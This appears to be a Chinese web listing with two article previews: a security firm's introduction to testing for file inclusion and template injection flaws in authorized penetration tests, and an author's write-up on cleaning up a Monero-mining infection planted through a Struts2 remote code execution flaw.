昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。
1541 0
|
安全 应用服务中间件 网络安全
Struts2致命远程执行代码漏洞植入门罗币挖矿安装病毒解决方法
早期由于redis低版本发现远程可执行代码漏洞,导致被黑客植入挖矿木马,服务器沦为矿机。今年Struts2又出现该漏洞,一年前自己有用Struts2编写过一个网站,没想到今天被我遇到了,特地写文章记录一下。
2259 0